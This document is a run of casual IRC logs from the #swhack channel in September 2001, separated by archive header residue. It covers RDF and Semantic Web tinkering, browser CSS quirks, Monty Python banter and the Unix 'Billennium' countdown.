19:37:50 <AaronSw> Deltab worked it out yesterday that you can set the configs to: 19:37:51 <AaronSw> Root = os.path.join(os.path.dirname(sys.argv[0]), '') 19:37:51 <AaronSw> WikiBase = os.path.split(sys.argv[0])[1] 19:37:54 <AaronSw> and it should work 19:39:07 <deltab> for the latter there's os.path.basename 19:39:25 <sbp> but don't forget, you need an absolute URI anyway for the N-Triples output 19:39:34 <AaronSw> Oh, right. 19:39:48 <AaronSw> Well, can you fix it so it uses relative links then? 19:40:28 <AaronSw> Sean, what do you want the SWAG URI to be? 19:40:45 <AaronSw> or not necessarily SWAG. 19:41:28 <sbp> anything: it's totally up to you :-) 19:42:03 <AaronSw> I'm wrought with indecision. 19:42:42 <sbp> at least, you think you are, eh? 19:42:46 <sbp> :-) 19:42:56 <AaronSw> heh... swag/rdfwiki then 19:43:25 <sbp> cool 19:46:59 <AaronSw> Cool it seems to work: http://purl.org/swag/rdfwiki 19:47:46 <sbp> kick-ass! 19:49:19 <sbp> well, that's a nice little hack. Remember that script I showed you about a week ago that didn't do very much? I derived it from that 19:49:41 <AaronSw> Huh? 19:50:06 <sbp> yeah, you remember... it wasn't working all that well back then, but you tried it 19:50:43 <AaronSw> Oh, yes. the RDFWiki script. 19:50:45 <AaronSw> It's very similar. 19:50:57 <AaronSw> I think it came out rather well. 19:51:36 <sbp> thanks - I've been messing around with the idea for ages, but wasn't sure how to represent it 19:53:35 <AaronSw> Yeah, it's a tricky issue 19:53:58 <sbp> Yep... this seems to have got it though 20:25:31 <sbp> Gotta run 20:26:09 <AaronSw> byw 20:26:13 <AaronSw> err bye 20:28:35 <sbp> sbp has quit 22:05:34 <sbp> sbp has joined #swhack 22:16:08 <sbp> sbp has quit ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-06.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000004162�07346001671�012014� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:30:07 <logster> logster has joined #swhack 00:30:07 <benford.openprojects.net> topic is: THIS SPACE INTENTIONALLY LEFT BLANK 00:30:07 <benford.openprojects.net> Users on #swhack: logster Morbus deltab AaronSw 00:30:46 <Morbus> Morbus has quit 01:32:49 <AaronSw> AaronSw has quit 01:35:05 <sbp> sbp has joined #swhack 01:36:11 <sbp> Aw, where's Aaron gone? I wanted to vent my frustration at the perils that academia is brining to the Semantic Web, and he usually just tells me to shut the feck up 01:37:44 <sbp> I mean, do people just not get what the Semantic Web is all about, or what? Here's an example of the stuff I recieved in my mailbox today:- 01:38:11 <sbp> [[[ 01:38:11 <sbp> I have no idea what you might mean by this, especially given that different 01:38:11 <sbp> natures of these things. On the face of it, I disagree with you completely - 01:38:11 <sbp> but perhaps I do not understand what you are really claiming. KIF is a 01:38:11 <sbp> general first order language, which RDF is not. How would you use RDF or RDF 01:38:11 <sbp> Schema to express existantial quantification, for example? 01:38:15 <sbp> ]]] 01:38:17 <sbp> aaaaargh! 01:38:29 <sbp> repeat after me: RDF can represent anything 01:38:42 <sbp> I of course referred the person to TimBL's log namespace 01:41:17 <AaronSw> AaronSw has joined #swhack 01:55:28 <sbp> sbp has quit 02:18:40 <Morbus> Morbus has joined #swhack 02:22:43 <Morbus> Morbus has quit 02:38:15 <sbp> sbp has joined #swhack 02:39:26 <sbp> sbp has quit 18:44:48 <AaronSw> ugh, I can't stand all this phooey about the microsoft breakup 18:44:55 <AaronSw> there are plenty of other, strict remedies, folks 18:45:12 <AaronSw> and you really think the bush administration is going soft on microsoft with orrin hatch around? 19:26:09 <AaronSw> AaronSw has quit 19:33:48 <AaronSw> AaronSw has joined #swhack 21:42:43 <AaronSw> Ooh, here's something good to trademark: http://tarr.uspto.gov/servlet/tarr?regser=serial&entry=75502288 21:42:56 <AaronSw> And this looks like a great site for Sean: http://www.unwords.com/ 21:42:59 <AaronSw> Very phenomic. 23:12:57 <sbp> sbp has joined #swhack 23:16:09 <sbp> sbp has quit ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-07.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000045731�07346256217�012034� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:28:46 <logster> logster has joined #swhack 00:28:46 <sagan.openprojects.net> Users on #swhack: logster @sbp AaronSw deltab 00:29:01 <AaronSw> Hmm, I wonder why logster keeps quitting like that. 00:31:18 <sbp> Give it a slap 00:31:41 <AaronSw> * AaronSw slaps logster around a bit with a large trout 00:31:45 <sbp> Hmm... doesn't mIRC have some utility for doing that? 00:31:47 <sbp> * sbp slaps logster around a bit with a large trout 00:31:53 <AaronSw> My IRC client added that feature recently. 00:31:55 <sbp> apparently so, yes 00:32:03 <AaronSw> A ripoff of mIRC I suppose. 00:32:10 <sbp> indubidably 00:32:19 <sbp> dear fellow 00:32:39 <AaronSw> :-) 00:32:59 <sbp> Eh? Know what I mean? Nudge, nudge, wink, wink: say no more! 00:33:25 <AaronSw> You and Monty Python... 00:33:28 <sbp> And now for something completely different... a man with three buttocks 00:34:58 <AaronSw> * AaronSw adds logging to logster 00:35:09 <deltab> ('indubitably') 00:35:17 <deltab> heh 00:35:42 <logster> logster has joined #swhack 00:35:42 <carter.openprojects.net> topic is: THIS SPACE INTENTIONALLY LEFT BLANK 00:35:42 <carter.openprojects.net> Users on #swhack: logster sbp AaronSw deltab 00:35:48 <sbp> How To Recognize Different Types Of Trees From Quite A Long Way Away: Number 1 00:35:49 <sbp> The Larch 00:35:52 <AaronSw> Number 1 00:35:57 <sbp> (swip, swip) 00:35:57 <AaronSw> The Larch 00:35:59 <sbp> The Larch 00:36:09 <sbp> I was saying that for days after I first saw it... 00:36:17 <AaronSw> So were my brothers... 00:36:20 <sbp> :-) 00:36:23 <AaronSw> deltab, no now I'm logging the program myself so I can see why it keeps dying. 00:37:28 <sbp> So, Aaron, how many sheds do you have? 00:37:46 <AaronSw> eh? 00:37:54 <AaronSw> sheds? 00:38:01 <sbp> Yeah... how many? 00:38:23 <AaronSw> * AaronSw senses a joke at his expense 00:39:18 <sbp> not really, I just want to know how many sheds you have 00:39:38 <AaronSw> What would you say if I said only one? 00:40:07 <sbp> You have one shed? 00:40:24 <AaronSw> No, I'm just asking what you would say if I said that I had only one. 00:40:42 <sbp> Well, I can't really tell until you say it, can I? 00:41:45 <AaronSw> I don't see why. 00:42:10 <sbp> because there's a quantum uncertaintay as to what I'd say. You can't tell until it happens 00:42:48 <AaronSw> What's a shed? 00:43:16 <sbp> Don't play dumb with me! It's a hut-like structure that one keeps the tools in 00:43:26 <sbp> Y'know, a shed shed 00:43:38 <AaronSw> So a tool-shed? 00:43:58 <sbp> Oh, you Americans crack me up... yes, a tool shed 00:44:01 <sbp> a shed 00:44:16 <AaronSw> I don't think I have a tool shed. 00:44:32 <sbp> Fine, Aaron "no sheds" Swartz 00:44:41 <AaronSw> Shoot, I knew he was going to do that. 00:44:46 <sbp> He he he 00:44:56 <AaronSw> But I'm supposed to be Aaron "one shed" Swartz, don't you see? 00:45:04 <sbp> Buy a shed, then 00:45:19 <AaronSw> No, then I'd be Aaron "two sheds" Swartz and that'd be no good. 00:45:37 <sbp> That'd be perfect! Are you thinking of getting a new shed? 00:45:45 <AaronSw> No! 00:45:52 <AaronSw> I'm not even thinking of getting an old one! 00:46:02 <sbp> why do they call you Aaron "two sheds" Swartz, then? 00:46:13 <AaronSw> They don't! Sheesh. 00:46:35 <sbp> * sbp wonders where Google-"no sheds"-r went 00:46:37 <AaronSw> Hey, why don't you go visit twosheds.com or something. 00:46:56 <AaronSw> "no sheds"? I did "sheds monty python" you dumbo. 00:46:59 <sbp> Wow, kick ass 00:47:54 <sbp> Do you mind if I call you Edward? Or Eddie-baby? 00:48:27 <AaronSw> Why? 00:48:39 <sbp> Hey, I'm the interviewer here 00:48:51 <sbp> er... aren't I? 00:49:01 <AaronSw> Umm, no. 00:49:02 <AaronSw> Hey, did you see the Queen Mother died earlier today. 00:49:11 <sbp> er, sure 00:49:26 <AaronSw> Really, danbri told me all about it. 00:49:33 <AaronSw> <danbri> [off] rumour on FoRK list: that the Queen Mother is dead. Anyone else heard this? (apart from on fork...?) 00:49:33 <AaronSw> <AaronSw> [off] http://www.theregister.co.uk/content/28/20810.html 00:50:13 <sbp> ah well, you can't believe everything that you read on FoRK 00:51:17 <AaronSw> Or The Register. 00:51:28 <sbp> OTR? 00:51:47 <AaronSw> The Register, you know? 00:51:55 <sbp> O? 00:52:00 <AaronSw> "Biting the hand that feeds IT" and all that 00:52:13 <sbp> and all that IT entails? 00:52:18 <AaronSw> you can't believe everything that you read on FoRK...or The Register. 00:52:23 <sbp> What's love go to do with IT? 00:52:36 <AaronSw> Nothing, apparently. 00:53:50 <AaronSw> Sean's always good for cheering me up, aren't you, Sean? Now I'm so cheered up I might be able to start programming again. 00:53:59 <sbp> affirmative 00:54:07 <AaronSw> Let me just get rid of this beer bottle... 00:54:16 <AaronSw> Oh, that reminds me. Have you seen http://validator.w3.org:8001/ ? 00:54:49 <sbp> I have now 00:54:51 <AaronSw> And http://tidy.sourceforge.net/ for that matter. 00:55:18 <sbp> Aaaaaaargh! Not open source! 00:55:27 <AaronSw> I said that you might be able to do CSS for the new validator site. 00:55:31 <sbp> That'll take the charm away: it's terrible! 00:55:39 <AaronSw> why? 00:55:42 <AaronSw> <AaronSw> Heh. You should get Sean to do a nice stylesheet for you. 00:55:44 <sbp> CSS: it certainly needs it 00:55:45 <AaronSw> <xower> Sean...? Palmer? 00:55:52 <AaronSw> <AaronSw> Yeah 00:55:52 <AaronSw> <xower> Oh, he does a mean CSS then? (I just know him as the WAI Dude) :-) 00:55:52 <AaronSw> <AaronSw> Yeah, he's good at it. 00:56:07 <sbp> * sbp wonders where Aaron's getting these quotes from... scary 00:56:19 <sbp> Tidy open source: very cool 00:56:28 <AaronSw> Yeah, it would be if there wasn't a #validator on this network. 00:56:42 <sbp> WAI Dude, he he he 00:56:45 <sbp> Who's xower? 00:56:51 <AaronSw> Terje Bless 00:57:06 <sbp> ah, of course. Yes, he does know me as the WAI Dude 00:57:16 <AaronSw> How do you know him? 00:57:23 <sbp> Where the smeggle was that, then? 00:57:32 <sbp> He's an acquaintance 00:58:01 <AaronSw> I told you, #validator on this network. 00:58:05 <sbp> oh... 00:58:14 <sbp> * sbp makes a little impromptu visit 00:58:28 <AaronSw> Terje Bless, aka link, aka xover, aka xoverworked, aka xower 00:58:34 <sbp> Packed 00:59:01 <sbp> Pffff, I always knew deltab listened in on us :-) 00:59:08 <AaronSw> lol 00:59:10 <deltab> yup 00:59:12 <sbp> :-) 00:59:20 <AaronSw> Are we interesting, deltab? 00:59:33 <AaronSw> MartinJD = Martin J. Duerst, if you didn't notice. 00:59:42 <AaronSw> Now say "ooh!" 00:59:46 <sbp> ooh! 00:59:53 <AaronSw> See, I've got him. 00:59:54 <deltab> Dürst, itym :-) 01:00:05 <AaronSw> Aww, shut up smarypants. ;-) 01:00:22 <sbp> yeah, exactly (I was just about to say that myself) 01:00:27 <sbp> no really, I was 01:00:28 <AaronSw> * AaronSw tries to think of a word that uses é. 01:00:38 <sbp> Qué? 01:00:42 <deltab> actually if we used UTF-8 that wouldn't work 01:01:11 <AaronSw> ¿Qué Dürst? 01:01:20 <sbp> * sbp marvels at how the name "Dürst" is synonymous with "UTF-8" 01:01:31 <AaronSw> * AaronSw shows off his m2d l2nguage sk11lz 01:01:39 <sbp> ugh 01:02:05 <AaronSw> Are you encoding that page in Dürst? 01:02:16 <sbp> lol 01:02:32 <AaronSw> No, I prefer Durst. (iso-88596-1) 01:02:51 <AaronSw> Well, you might as well throw up your hands and use Duerst then! (ascii) 01:03:46 <AaronSw> * AaronSw wonders if logger is ketching these sublties of langúage 01:04:46 <sbp> iso-88596-1: that's a new one 01:05:15 <AaronSw> You can shut up too, smartypants. 01:05:41 <sbp> He he he 01:05:45 <AaronSw> Hmm, apparently logger is. 01:06:13 <deltab> * deltab wonders why the links on that page are white 01:06:26 <AaronSw> What page? 01:06:44 <deltab> on http://validator.w3.org:8001/ 01:06:58 <sbp> «°$©|+¥ýÉë¥t@¦îî¦ð»? 01:07:04 <AaronSw> Do you see them as white? Please report it to #validator. 01:07:26 <deltab> I do, and I can't figure out why 01:07:26 <AaronSw> Geez, thanks sbp -- now you've given logster a heart-attack. 01:07:33 <AaronSw> Must be a CSS bug. 01:07:41 <sbp> heh: a img {color: white} /* The only way to hide the border in NS 4.x */ 01:07:44 <deltab> my browser don't know css at all 01:08:01 <AaronSw> odd. 01:08:12 <AaronSw> What're you using? 01:08:16 <deltab> Links 01:08:27 <AaronSw> Doesn't that show everything as white? 01:09:00 <deltab> no, by default normal text is light grey and links are cyan 01:09:19 <sbp> Just imagine that the page has been snowed on 01:09:19 <deltab> I don't see anything that's overriding that 01:09:39 <sbp> Well, it could be the a img {color: white} bit 01:10:01 <AaronSw> If Sean was born hundreds of years ago, he would have invented religious myths. Now he just invents them for browser incompatibility. 01:10:15 <sbp> Yes! 01:10:22 <sbp> which just goes to prove the biggest axiom of the World Wide Web: Never support NS4.x 01:10:43 <AaronSw> Heh, you better get Tim to add that to /DesignIssues/Axioms ;-) 01:11:55 <sbp> I'd try if I didn't think he'd shout at me 01:12:12 <AaronSw> :-) 01:12:39 <sbp> I can't believe that there are still people in the world using Ns4.x 01:12:47 <AaronSw> Heh, conversation with my Dad: 01:13:03 <AaronSw> > My browser, which renders most pages just fine couldn't render this page the other day. 01:13:07 <AaronSw> What browser do you use? 01:13:16 <AaronSw> > Umm... Netscape 4.7, I think. 01:13:38 <sbp> Aaaaaargh! See what I mean? 01:13:38 <AaronSw> And you think it renders most pages just fine? 01:14:08 <deltab> it would have been better as Never write NS4.x 01:20:16 <AaronSw> Coming soon from Microsoft: 01:20:21 <AaronSw> Freuddy.NET 01:20:23 <AaronSw> will chart you an instant psichological report of a desired 01:20:23 <AaronSw> person. Its brother, BonddyJames.NET, will report you a 01:20:23 <AaronSw> complete biography. The Ciberpolitan Magazine will run a modified 01:20:23 <AaronSw> version of the Psigooglogist service, the Lovely.NET to find 01:20:23 <AaronSw> your ideal mate. 01:21:16 <sbp> Neat, when are they going to be releasing that? 01:21:42 <AaronSw> Well they 01:22:08 <AaronSw> Well they're collecting data from usage of Windows ME and XP, so it should be out in the version after that. 01:22:56 <sbp> Ah, not long then 01:25:21 <AaronSw> * AaronSw puts on Bohemian Rhapsody 01:25:55 <sbp> * sbp plays "Sun King" on his guitar, rather quietly 01:26:34 <AaronSw> Sean, have you looked at the RDFStore/RDFSink internals? 01:27:13 <sbp> nope. I was going to reverse engineer CWM 01:27:28 <AaronSw> reverse engineer? 01:27:51 <sbp> or backwards engineer 01:28:03 <sbp> stripping it apart to find out how it works 01:28:12 <AaronSw> I see. 01:28:44 <sbp> * sbp plays the bass line from "Mean Mr. Mustard" on his guitar 01:30:00 <AaronSw> * AaronSw wonders what AGSockError: 101 is 01:30:07 <sbp> * sbp too 01:30:29 <sbp> perhaps it's when you have 101 socks in your drawer, and wonder where the other one went? 01:31:19 <AaronSw> lol 01:47:22 <sbp> sbp has quit 03:18:20 <AaronSw> "Dave Wiener has definently succeeded; Frontier and Radio Userland have been used to take weblogs to a new level, creating a new artform." - http://codinginparadise.org/ 12:54:24 <AaronSw> AaronSw has quit 12:54:29 <AaronSw> AaronSw has joined #swhack 13:26:54 <AaronSw> AaronSw has quit 17:55:19 <AaronSw> AaronSw has joined #swhack 20:53:45 <sbp> sbp has joined #swhack 21:00:01 <SeanP> SeanP has joined #swhack 21:00:19 <sbp> sbp has quit 21:00:23 <SeanP> SeanP is now known as sbp 21:30:56 <sbp> sbp has quit 22:58:52 <sbp> sbp has joined #swhack 23:00:37 <AaronSw> AaronSw has changed the topic to: Are YOU a sequence-and-hierarchy chauvinist? 23:01:10 <sbp> lol @ 22:17:40 <dmiles> Jan Grant.. hrrm should i be in love? .. the last Jan i fell for (Jan Weidlemaker) turned out to be a man 23:01:19 <AaronSw> heheh 23:02:55 <sbp> It is difficult over email though... how do you address formal letters when you don't know the gender of the person you're writing to? 23:04:03 <AaronSw> Dear imakillermonkey2345@hotmailcom: 23:04:17 <sbp> they'll think it's spam! 23:04:35 <AaronSw> There are no formal letters in email. 23:04:45 <sbp> sure there are 23:05:27 <AaronSw> oierw reminds me of belly button, which reminds me of pupok (russian for belly button) which reminds me of Ian Clarke's ex-gf (whose nick is pupok) which reminds me of drugs. 23:05:53 <sbp> oh, er... O.K. 23:07:21 <sbp> nope 23:07:30 <sbp> nopity, nope nope 23:07:32 <AaronSw> Ian Clarke is the creator/inventor of Freenet 23:07:36 <sbp> it's a song I'm writing... 23:07:44 <sbp> well, maybe it isn't... who can say? 23:07:50 <sbp> Oh, really? 23:07:56 <sbp> I had heard of him 23:08:10 <sbp> based in Edinburgh, isn't he? 23:08:50 <AaronSw> I think so, although he was in town recently. 23:08:53 <AaronSw> He stopped by on IRC. 23:09:09 <sbp> Ha, I was right: http://www.octayne.com/ 23:09:17 <sbp> Aw, I missed him. In #rdfig? 23:09:23 <AaronSw> Nah, not #rdfig. 23:09:41 <AaronSw> I got tired of waiting for google.com to load, so I wrote my own, but it's just as slow.. ugh 23:09:54 <sbp> pardon me? 23:10:22 <AaronSw> I visit google.com a lot, and the main page takes too long to load 23:10:26 <deltab> tired of waiting for google to load? 23:10:26 <AaronSw> so I wrote a simpler one 23:10:32 <AaronSw> yes, google 23:10:33 <deltab> really? 23:10:36 <AaronSw> just the main page tho 23:10:41 <AaronSw> the search results are much faster 23:10:42 <sbp> Oh blimey, it doesn't take that long, surely! 23:10:47 <deltab> how does it take too long to load? 23:10:54 <AaronSw> It takes like two seconds or something! That's outrageous. 23:10:59 <deltab> ?! 23:11:22 <AaronSw> Geez, 5 seconds! 23:11:23 <sbp> * sbp reminds deltab that he's talking to Aaron "two monitors" Swartz 23:11:40 <AaronSw> I visit Google a lot. That adds up, you know. 23:11:45 <deltab> I thought it was "no sheds"? 23:11:49 <AaronSw> Oh, so you gave up on sheds, huh? 23:12:00 <deltab> AaronSw: so do I, and it's virtually instant 23:12:18 <AaronSw> You do what? 23:12:42 <deltab> use google a lot 23:12:53 <sbp> yeah, me too. I never have any problems with it 23:13:00 <AaronSw> Ahh, I just counted it. It's like five seconds. Maybe it's my ArchiverProxy? 23:13:13 <sbp> I have Google on my favourites bar, so it's even faster 23:13:18 <sbp> yes, it could be 23:13:26 <AaronSw> * AaronSw can type google.com pretty fast 23:13:35 <sbp> can you disable certain sites? 23:13:37 <sbp> google.com 23:13:39 <sbp> google.com 23:13:41 <sbp> google.com 23:13:48 <sbp> Hmm... 23:13:54 <deltab> and you say your faster page isn't much faster? 23:14:25 <sbp> is your faster page on the local drive? Why don't you try that, if not? 23:14:34 <AaronSw> It is on the local drive. 23:14:34 <AaronSw> Yeah, it's like two seconds. 23:14:46 <AaronSw> I've visited google 489 since I started my proxy. 23:14:51 <sbp> heh 23:14:58 <AaronSw> * AaronSw deletes it 23:15:01 <AaronSw> that takes a while 23:15:07 <AaronSw> a long while 23:15:12 <AaronSw> la de da de da 23:15:14 <AaronSw> done 23:15:23 <sbp> * sbp likes the interlude music 23:15:27 <AaronSw> ahh, much better 23:15:35 <sbp> 3 seconds? 23:15:39 <sbp> sub-3 seconds? 23:15:40 <AaronSw> Hmm, wonder what in the proxy is causing the slowdown -- probably the file loop 23:15:52 <deltab> directory scanning perhaps? 23:15:53 <AaronSw> 3 seconds 23:16:00 <AaronSw> yes, must be directory scanning 23:16:10 <deltab> takes five minutes to read the dir tav's mail is in 23:16:16 <sbp> * sbp loads Netscape6 to see hoe fast Google loads... 23:16:18 <AaronSw> how long do you think it takes to loop thru 1000 files? 23:16:47 <sbp> Pff... 4.45 seconds from scratch 23:17:16 <sbp> 0.93 cached 23:17:22 <sbp> but IE5.5 is a lot faster 23:18:19 <AaronSw> well, well curl only takes 0m0.658s 23:18:25 <AaronSw> so there 23:18:51 <AaronSw> sheesh, lynx takes real 0m2.591s 23:19:07 <AaronSw> real 0m0.912s cached 23:21:51 <AaronSw> Hmm, Jungle ain't bad. 23:22:21 <sbp> Speed Garage is better 23:23:03 <sbp> and I still mean better in the pejorative sense (if there is one) 23:23:15 <AaronSw> Hmm, have a feed? 23:23:24 <sbp> not personally, no 23:24:36 <AaronSw> * AaronSw hates scripts that leave locked mutexes lying around. 23:25:02 <AaronSw> Hmm, that reminds me of something funny -- when I was at dinner with RDF Core, I kept wanting to make /me comments in the conversation! 23:25:03 <sbp> you should compile a pet hates list. Now that I'd like to read 23:25:16 <AaronSw> 1. Sean B. 23:25:19 <sbp> yeah! Oh boy, I have the same problem... it's weird 23:25:33 <sbp> * sbp was referring to /me rather than Sean B. 23:25:38 <AaronSw> heh 23:25:49 <AaronSw> As I was saying 1. Sean B. djkklkdkld 23:25:51 <AaronSw> ow! 23:26:22 <AaronSw> But yet, can you define the difference between a /me comment and a normal one? 23:26:46 <sbp> * sbp thinks that a normal one is nothing compared to a /me comment 23:28:58 <AaronSw> * AaronSw finds Jungle music makes him type faster 23:29:20 <sbp> heh 23:31:02 <AaronSw> logger, grep -i hate 23:31:10 <AaronSw> loggster, grep -i hate 23:31:15 <AaronSw> logster, grep -i hate 23:31:16 <logster> I'm logging. I found 17 answers for 'hate' (showing 0...4) 23:31:17 <logster> 0) 2001-09-07 23:31:15 <AaronSw> logster, grep -i hate 23:31:18 <logster> 1) 2001-09-07 23:31:10 <AaronSw> loggster, grep -i hate 23:31:19 <logster> 2) 2001-09-07 23:31:02 <AaronSw> logger, grep -i hate 23:31:20 <logster> 3) 2001-09-07 23:25:03 <sbp> you should compile a pet hates list. Now that I'd like to read 23:31:21 <logster> 4) 2001-09-07 23:24:36 <AaronSw> * AaronSw hates scripts that leave locked mutexes lying around. 23:31:21 <AaronSw> pfft 23:31:36 <AaronSw> logster, grep 5-17 -i hate 23:31:36 <logster> I'm logging. I found 4 answers for '-i hate' (showing 5...4) 23:31:53 <AaronSw> logster, grep 5-10 -i hate 23:31:53 <logster> I'm logging. I found 5 answers for '-i hate' (showing 5...5) 23:32:01 <AaronSw> logster, grep -i 5-10 hate 23:32:02 <logster> I'm logging. I found 20 answers for 'hate' (showing 5...10) 23:32:03 <logster> 5) 2001-09-07 23:31:02 <AaronSw> logger, grep -i hate 23:32:04 <logster> 6) 2001-09-07 23:25:03 <sbp> you should compile a pet hates list. Now that I'd like to read 23:32:05 <logster> 7) 2001-09-07 23:24:36 <AaronSw> * AaronSw hates scripts that leave locked mutexes lying around. 23:32:06 <logster> 8) 2001-09-02 02:22:54 <sbp> Whatever happened to xml:style? 23:32:07 <logster> 9) 2001-08-31 20:14:15 <AaronSw> whatever 23:32:08 <logster> 10) 2001-08-31 03:20:58 <Morbus> nope. i hate phone calls too. 23:33:09 <sbp> grep "Whatever happened to xml:style?" 23:33:20 <sbp> for "hate" 23:33:23 <sbp> go on 23:33:36 <sbp> ah, w hate ver 23:33:53 <sbp> * sbp smacks himself 23:34:18 <sbp> well, now I'll just investigate PIM 23:35:08 <sbp> good tip:- 23:35:09 <sbp> [[[ 23:35:15 <sbp> ]]] - http://dev.w3.org/cvsweb/2000/10/swap/pim/doc.n3?rev=1.4&content-type=text/x-cvsweb-markup 23:35:32 <sbp> I should add that to /2001/08/swtips/ 23:35:41 <AaronSw> Yeah, that's a good one. 23:36:28 <sbp> "My document" :author "Bob" . 23:36:55 <sbp> [ :title "My document" ] :author [ :name "Bob" ] . 23:37:03 <sbp> stupid noun clauses 23:37:12 <AaronSw> * AaronSw smacks sbp, again 23:37:21 <sbp> :-) 23:38:31 <sbp> Gotta run 23:39:41 <AaronSw> Ugh 23:39:44 <AaronSw> bue 23:39:45 <AaronSw> err bye 23:41:32 <sbp> sbp has quit 23:41:59 <AaronSw> Well, the day is almost over and I've done everything I needed to do today. Wow. 23:47:27 <AaronSw> Definitely a first. ���������������������������������������2001-09-08.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000002020�07346516561�012016� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������01:05:48 <logster> logster has joined #swhack 01:05:48 <benford.openprojects.net> topic is: Are YOU a sequence-and-hierarchy chauvinist? 01:05:48 <benford.openprojects.net> Users on #swhack: logster @sbp AaronSw deltab 01:29:10 <sbp> sbp has quit 07:04:53 <AaronSw> AaronSw has quit 07:04:59 <AaronSw> AaronSw has joined #swhack 11:12:10 <tav`> tav` has joined #swhack 11:21:44 <tav`> tav` has quit 11:22:46 <tav> tav has joined #swhack 11:29:03 <tav> tav has quit 11:34:56 <tav> tav has joined #swhack 11:36:38 <tav> tav has quit 11:42:10 <tav> tav has joined #swhack 11:45:13 <tav> tav has quit 12:10:12 <tav> tav has joined #swhack 12:27:37 <tav> tav has quit 12:46:11 <tav> tav has joined #swhack 12:52:52 <tav> tav has quit 13:05:46 <tav`> tav` has joined #swhack 13:43:22 <tav`> tav` has quit 13:44:16 <tav`> tav` has joined #swhack 16:39:53 <tav`> tav` has quit 17:03:02 <tav> tav has joined #swhack 21:06:57 <sbp> sbp has joined #swhack 21:37:19 <sbp> sbp has quit 22:36:08 <sbp> sbp has joined #swhack 22:36:33 <sbp> sbp has quit ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-09.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000027371�07346777513�012045� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������01:49:13 <logster> logster has joined #swhack 01:49:13 <forward.openprojects.net> topic is: Are YOU a sequence-and-hierarchy chauvinist? 01:49:13 <forward.openprojects.net> Users on #swhack: logster AaronSw deltab 01:50:28 <AaronSw> AaronSw has changed the topic to: HAPPY BILLENNIUM!!!!!!!!! 01:51:22 <tav> tav has joined #swhack 02:53:50 <AaronSw> .translate 02:54:03 <AaronSw> oops, xena isn't here... shoot 03:40:03 <sbp> sbp has joined #swhack 03:40:08 <AaronSw> Hi there. 03:40:16 <AaronSw> You missed the Billennium... 03:40:17 <sbp> Hi 03:40:27 <sbp> did I? 03:40:48 <AaronSw> Yeah, we had a great party. 03:40:59 <AaronSw> There are logs of course. 03:41:00 <sbp> Neat. Did you have fun? 03:41:11 <sbp> Ooooh, where? 03:41:22 <AaronSw> http://www.sixxs.net/misc/billennium.log 03:41:26 <AaronSw> We had a lot of fun. 03:42:45 <sbp> O.K., this has gone on far enough 03:43:05 <sbp> What is the Billennium? 03:43:27 <AaronSw> You know how UNIX counts in seconds since the "epoch"? 03:43:35 <sbp> nope 03:43:46 <AaronSw> well it does 03:43:48 <AaronSw> :) 03:44:00 <AaronSw> The time hit 1000000000. 03:44:09 <sbp> Oooooh, neat 03:44:54 <sbp> And I missed it? What a bugger 03:45:01 <AaronSw> So did Gerald. 03:45:06 <sbp> Heh, heh 03:45:21 <sbp> When was it, western time (or relative time) 03:45:55 <AaronSw> 7113 seconds ago 03:46:02 <AaronSw> -7249 03:46:11 <AaronSw> perl -e '$|=1; for(;;){ printf "%10d %5d" => time, 1_000_000_000 - time; sleep 1; print "\b"x16}' 03:49:44 <sbp> * sbp types "<sbp> Oh crap, did I miss it?" into #billennium 03:50:55 <AaronSw> * AaronSw types <AaronSw> lol 03:51:02 <sbp> lol! I love the countdown 03:51:23 <sbp> 41, 20, 57, 35, 38 (all from different people) 03:51:42 <AaronSw> It was going really fast. 03:52:02 <AaronSw> http://www.linuxpower.cx/~greg/bill.jpg 03:52:09 <AaronSw> Imagine all that typing in a clock tick 03:52:52 <sbp> blimey... 03:53:41 <sbp> ah, at the time, I was probably watching an Iridium Flare 03:53:59 <AaronSw> Iridium Flare?! 03:54:24 <sbp> yeah... do a Google search 03:54:36 <AaronSw> Unrelated to the Iridium satellites I assume? 03:55:01 <AaronSw> Oh, they are the Iridium satellites. 03:55:05 <AaronSw> Cool 03:55:13 <sbp> :-) 03:55:20 <sbp> Iridium 31, mag: -2 03:56:27 <AaronSw> very cool 03:56:31 <sbp> where are the #swhack logs? 03:57:09 <sbp> yo, Aaron! 03:57:16 <AaronSw> http://www.blogspace.com/swhack/chatlogs/ 03:57:31 <sbp> cheers 03:58:02 <sbp> can you give me the exact UNIX time now? 03:58:32 <AaronSw> just a sec 03:58:40 <sbp> yes please 03:58:56 <AaronSw> 1000008024 03:59:07 <AaronSw> (approximately) 03:59:11 <sbp> cheers 04:00:25 <sbp> so when did it start counting from? 04:00:36 <AaronSw> Fray day 5 is on now http://64.152.82.196:24566 04:00:44 <AaronSw> 1970 something or other 04:01:05 <deltab> 1970-01-01T00:00:00Z 04:01:24 <sbp> * sbp can't get Fray day 5 04:01:25 <AaronSw> http://www.clueless.com/jargon3.0.0/epoch.html 04:01:30 <sbp> oh, hi deltab :-) 04:02:44 <AaronSw> Fray: Oh well, it's pretty funny. 04:06:34 <AaronSw> http://fray.org/5/ 04:14:51 <sbp> * sbp wonders why tick and tock don't work 04:15:48 <AaronSw> eh? 04:18:30 <sbp> the USNO NTP servers 04:19:23 <AaronSw> hmm 04:21:46 <sbp> Aha, it works now (I'm using tock) 04:22:19 <AaronSw> "Fiction is just personal storytelling with training wheels." 04:22:25 <AaronSw> - http://www.citystories.com/about/ 04:22:56 <AaronSw> (Derek Powazek, I assume.) 04:22:57 <sbp> I agree 04:30:13 <AaronSw> Now I just need to find the RSA patent expiration song... 